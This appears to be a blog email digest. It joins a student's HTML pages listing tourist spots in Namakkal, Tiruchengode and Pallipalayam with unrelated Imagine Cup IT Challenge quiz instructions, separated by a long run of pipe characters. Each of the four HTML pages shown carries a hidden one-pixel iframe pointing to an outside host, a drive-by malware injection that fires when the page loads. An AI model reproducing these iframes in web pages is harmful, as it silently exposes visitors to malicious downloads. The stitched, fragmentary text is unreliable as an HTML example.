ARE</p> <p >1.Murugan temple</p> <p >2.Park</p> <p>3.Govt school</p><html> <a href="main.html">Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> Palayam.html: <html> <head> <title>PALLIPALAYAM</title> </head><body bgcolor="white"> <p align="center"><strong>WELCOME TO PALLIPALAYAM</strong></p> <p>SOME OF THE TOURIST PLACES IN PALLIPALAYAM ARE</p> <p >1.RIVER</p> <p>2.RAILWAY STATION</p> <p>3.ESWARAN TEMPLE</p> <a href=main.html>Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> Tiruchengode.html: <html> <head> <title>THIRUCHENGODE</title> </head><body bgcolor="yellow"> <p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/tGODE.gif" width="593" height="406" border="0"> <p align="center"><strong>WELCOME TO THIRUCHENGODE</strong></p> <p>SPOT PLACES IN TIRUCHENCGODE: <BR> <UL> <LI>Arthanareswar temple </LI> <LI>Thiruchengode Hill</li> <li>KSR Institutions </li> <li>Vivekandanda Institutions</li> </ul> <a href="main.html">Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> Namakkal.html: <html> <head> <title>NAMAKKAL</title> <h1 align=center>"Welcome to Namakkal City"</h1> </head><body background="n.gif" height=300 width=400> <p>SOME OF THE TOURIST PLACES IN NAMAKKAL ARE</p> <p ><a href="rock.gif">1.Rockport</p></a> <p>2.Anjaneyar Temple</p> <p>3.LMR theatre</p> <p>4.SELVAM insitiutions</p> <a href=main.html>Back to Home Page</a> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Imagine Cup - IT Challenge, Round 1 Resource (2) Posted: Imagine Cup - IT Challenge! IT Challenge Round 1 Practice Questions. (attend Quiz after preparing) The questions below will give you a taste of the questions that will appear on the IT Challenge Quiz. Welcome to the Imagine Cup IT Challenge Quiz! You must answer all questions in the time provided, as indicated by the countdown timer above. Please answer each question by selecting one of the multiple choice answers below it. You can answer the questions in any order, and can change your answers at any point during the quiz time. However, once the quiz time is up, you will be prevented from making any further changes. Your score will be the number of questions you get right. No points are deducted for incorrect answers, so it is in your best interest to always make your best guess. Your answers will automatically be saved every 5 minutes. If you would like to save them at other times, please use the "Save Answers" button above. Use "Finish Quiz" when you have finished the quiz - the quiz window will then close and you'll be unable to make further changes to your answers. If you inadvertently close your browser window, lose your connection, or encounter any error during the quiz, return to your IT Challenge portal page and click on "COMPETE" again. If you are unable to enter or re-enter the quiz at all, contact Support immediately. Include your Imagine Cup user name and any error codes that you received in your e-mail. IMPORTANT: The IT Challenge Quiz makes use of cookies and javascript. Your browser must accept both. Some browser add-on components, like third party toolbars, may conflict with the operation of the IT Challenge Quiz, and we recommend that you disable them before starting. If you encounter scripting errors while running the IT Challenge Quiz, be sure to restart your browser and clear your cache before continuing. Good luck! Also see Resource (1)
Also see Resource (1) |
You are subscribed to email updates from MeansOFminE. To stop receiving these emails, you may unsubscribe now. | Email delivery powered by Google |
Google, 1600 Amphitheatre Parkway, Mountain View, CA 94043, United States |